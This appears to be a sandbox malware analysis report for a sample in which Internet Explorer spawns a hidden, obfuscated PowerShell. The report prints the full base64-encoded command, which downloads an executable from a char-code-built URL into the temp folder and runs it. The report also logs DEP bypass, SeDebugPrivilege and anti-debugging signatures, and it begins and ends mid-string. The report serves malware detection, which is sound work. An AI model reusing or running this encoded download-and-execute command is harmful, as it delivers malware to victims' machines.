AgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADIAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAACQAtAE8AdQB0AEYASQBMAGUAIAAgACAAIAAJAAkAIAAJACAACQAJACAACQAJAB0gJABlAG4AVgA6AFQARQBtAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSAgAAkACQAJAAkACQAJAAkAOwAgAAkACQAgAAkACQAgAAkAcwBUAEEAcgBUACAAIAAJACAACQAJAAkACQAgAB0gJABFAG4AdgA6AHQAZQBNAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSA= "
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\syStEM32\wIndowspOwErsheLL\v1.0\POWeRShElL.EXe
parameters: "poWERsHElL -EX bYPASs -NOP -W 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAFsAbgBlAFQALgBzAGUAUgB2AEkAQwBFAFAATwBJAE4AVABNAGEAbgBBAEcARQByAF0AOgA6AFMAZQBjAFUAUgBpAHQAWQBQAHIATwB0AG8AYwBvAEwAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAD0AIAAJACAAIAAJACAAIAAgACAAWwBOAGUAVAAuAFMARQBjAHUAUgBpAFQAWQBQAFIAbwB0AG8AQwBvAGwAdAB5AFAAZQBdADoAOgBUAGwAcwAxADIAIAAgACAAIAAgACAAOwAgACAAIAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAHcARwBlAHQAIAAJAAkACQAJAAkAKABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA4ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADUAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQAzACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA2ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAyADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADIAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAACQAtAE8AdQB0AEYASQBMAGUAIAAgACAAIAAJAAkAIAAJACAACQAJACAACQAJAB0gJABlAG4AVgA6AFQARQBtAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSAgAAkACQAJAAkACQAJAAkAOwAgAAkACQAgAAkACQAgAAkAcwBUAEEAcgBUACAAIAAJACAACQAJAAkACQAgAB0gJABFAG4AdgA6AHQAZQBNAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSA= "
filepath: C:\Windows\System32\wIndowspOwErsheLL\v1.0\POWeRShElL.EXe
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x000007fffff80000
process_handle: 0xffffffffffffffff
1 0 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2616 CREDAT:145409
parent_process iexplore.exe martian_process C:\Windows\System32\wIndowspOwErsheLL\v1.0\POWeRShElL.EXe "poWERsHElL -EX bYPASs -NOP -W 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAFsAbgBlAFQALgBzAGUAUgB2AEkAQwBFAFAATwBJAE4AVABNAGEAbgBBAEcARQByAF0AOgA6AFMAZQBjAFUAUgBpAHQAWQBQAHIATwB0AG8AYwBvAEwAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAD0AIAAJACAAIAAJACAAIAAgACAAWwBOAGUAVAAuAFMARQBjAHUAUgBpAFQAWQBQAFIAbwB0AG8AQwBvAGwAdAB5AFAAZQBdADoAOgBUAGwAcwAxADIAIAAgACAAIAAgACAAOwAgACAAIAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAHcARwBlAHQAIAAJAAkACQAJAAkAKABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA4ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADUAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQAzACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA2ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAyADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGg